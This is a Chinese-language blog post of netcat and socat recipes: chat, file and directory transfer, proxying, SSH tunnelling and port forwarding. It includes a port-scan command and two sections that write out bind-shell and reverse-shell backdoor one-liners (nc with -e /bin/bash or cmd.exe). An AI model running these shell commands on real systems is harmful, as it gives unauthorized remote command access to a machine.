Vastiny

Aug 07, 2017

nc and socat

nc & socat 有很多不错的用处,这篇文章来自我的 技术资料.wiki.nc

Chat

1
2
3
4
# 发送端
nc -l 3333
# 接受端
nc 127.0.0.1 3333

传送文件

1
2
3
4
# 发送端
`cat backup.iso | nc -l 3333`
# 接收端
`nc 192.168.0.1 3333 > backup.iso`

显示传送进度,可以使用管道监控,pv命令

1
2
`cat backup.iso | pv -b | nc -l 3333`
`nc 192.168.0.1 3333 | pv -b > backup.iso`

本地打包文件,传送到远端

1
2
tar -czf - /etc/ | nc -l 3333
nc 192.168.0.1 3333 | pv -b > mybackup.tar.gz

传送文件夹

1
2
tar -cvf – dir_name | nc -l 1567
nc -n 172.31.100.7 1567 | tar -xvf -

压缩文件以减少带宽

1
2
tar -cvf – dir_name| bzip2 -z | nc -l 1567
nc -n 172.31.100.7 1567 | bzip2 -d |tar -xvf -

端口扫描

1
2
扫描端口,并返回相关信息
nc -z 192.168.0.1 80-90

如何正确的加密聊天

1
2
nc -l 3333
ssh [email protected] sleep 1; nc 127.0.0.1 3333

如何正确的创建后门

1
2
3
nc -l 3333 -e /bin/bash
nc -l 3333 -e cmd.exe
nc 127.0.0.1 3333

如何逆向后门

1
2
nc -l 3333
nc 127.0.0.1 3333 -e /bin/bash

模拟 telenet

1
nc -t

指定代理方式

以 http 的方式把 host.example.com:42 映射到 192.168.0.2:8080

1
nc -x192.168.0.2:8080 -Xconnect host.example.com 42

SSH over Socks ( socket 转发 )

1
ssh -o ProxyCommand='/usr/bin/nc -x 127.0.0.1:1080 %h %p' -i "xxx.pem" user@host

nc over pipe ( port forwarding )

1
2
3
4
mkfifo a
mkfifo b
nc 127.0.0.1 8000 <b >a & # 与 8000 建立链接
nc -l 8001 <a >b &

关于 mkfifo ,可以用 ls -al 发现文件属性为 p,用 cat a 可以看到 pipe a 的数据。

socat 版本端口转发

tcp-listen 可以改为 tcp4-listen or tcp6-listen 或者指定地址,bind=that-address

1
socat tcp-listen:8001,reuseaddr,fork tcp:localhost:8000

ssh 版本端口转发(远程转发,访问 host:8080 就相当于访问 localhost:80)

1
2
3
4
ssh -R 0.0.0.0:8080:localhost:80 user@host
# -R remote 的缩写
# -R [远程主机:]远程主机端口:登录主机:登录主机端口
# 0.0.0.0:8080 部分就是在 user@host 中建立 LISTEN 0.0.0.0:8080

Res

Ref

OLDER > < NEWER